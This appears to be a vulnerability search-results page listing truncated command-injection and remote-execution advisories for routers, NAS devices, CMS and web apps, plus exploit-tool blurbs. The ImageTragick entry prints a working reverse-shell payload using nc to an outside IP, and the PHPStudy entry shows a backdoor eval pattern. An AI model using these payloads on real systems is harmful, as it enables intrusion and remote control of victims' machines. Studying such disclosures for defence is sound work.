155713 matches found
HuangDou UTCMS V9 - OS Command Injection
A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The...
Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
The command injection vulnerability in the CGI program "remotehelp-cgi" in Zyxel NAS326 firmware versions before V5.21AAZF.17C0 and NAS542 firmware versions before V5.21ABAG.14C0 could allow an unauthenticated attacker to execute some operating system OS commands by sending a crafted HTTP POST...
Spring Security OAuth2 Remote Command Execution
Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the responsetype parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote comma...
Tenda AC15 AC1900 version 15.03.05.19 - Command Injection
The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter. id: CVE-2020-10987 info: name: Tenda AC15 AC1900 version 15.03.05.19 - Command Injection author: pussycat0x severity: critical...
Klog Server <=2.41 - Unauthenticated Command Injection
Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shellexec PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The...
pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
pfSense pfBlockerNG through 2.1.426 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected. id: CVE-2022-31814 info: name: pfSense pfBlockerNG =2.1..427 to mitigate this vulnerability. reference: -...
TP-Link TL-WR840N - Command Injection
The TP-Link TL-WR840NESV6.20180709 router contains a command injection vulnerability in the oalsetIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise. id: CVE-2022-25061 info: name: TP-Link...
Hongdian H8922 3.0.5 - Remote Command Injection
Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address a/k/a Destination field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive informatio...
YouPHPTube Encoder 2.3 - Command Injection
Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack. id: CVE-2019-5129 info: name: YouPHPTube Encoder 2.3 - Command...
NUUO NVRmini - Remote Command Execution
NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgradehandle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter. id: CVE-2018-14933 info: name: NUUO NVRmini - Remote Command Execution author:...
Yachtcontrol Webapplication 1.0 - Remote Command Injection
Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command=COMMAND" page and parameter, where COMMAND will be executed and returning the results to the client. Affects Yachtcontrol webservers...
Gogs <0.12.6 - Remote Command Execution
Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. id...
Issabel Authenticated - Remote Code Execution
A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asteriskcli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated...
cve-2024-43425
CVE-2024-43425 Информация о приложении: Название приложения: Moodle Версия сборки: moodle-4.4.1 Затронутые версии: 4.4–4.4.1, 4.3–4.3.5, 4.2–4.2.8, 4.1–4.1.11 и более ранние неподдерживаемые версии Ссылка для скачивания: moodle-4.4.1 Описание и воздействие Злоумышленники, имеющие право создавать...
CVE-2018-1133-Exploit
CVE-2018-1133-Exploit Ce dépôt contient un script d'exploitation Python pour l'exploit Moodle Evil Teacher CVE-2018-1133. Utilisation root@kitploit: usage: Moodle Evil Teacher Exploit -h -u URL -l LOGIN -p PASSWORD -c COMMAND -P PROXY options: -h, --help show this help message and exit -u URL,...
corelight-client
.. corelight-client: .. Die Versionsnummer wird automatisch eingefügt. .. |version| replace:: 1.5.17 ==================================== Corelight-Sensor-Befehlszeilenclient .. contents:: Übersicht Dieses Tool bietet einen Befehlszeilenclient für den Corelight Sensor , eine von den Bro-Entwickle...
PHPStudy-Backdoor
PHPStudy-Backdoor बैकडोर भेद्यता पुनरुत्पादन phpstudy dll backdoor for v2016 and v2018 0x01 scan search for backdoor dll root@kitploit: D:\Pentester\phpStudypython check.py === .\php\php-5.2.17\ext\phpxmlrpc.dll === @eval%s'%s'; %s;@eval%s'%s'; === .\php\php-5.4.45\ext\phpxmlrpc.dll ===...
Privilege-escalation-MitraStar
Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnérabilité d'élévation de privilèges sur les routeurs MitraStar Appareil : Mitrastar GPT-2541GNAC-N1 Micrologiciel : BRg3.5100VNZ0b33 non testé sur les autres versions Exploit : Les appareils Mitrastar GPT-2541GNAC-N1 sont...
ImageTragick_Poc
ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...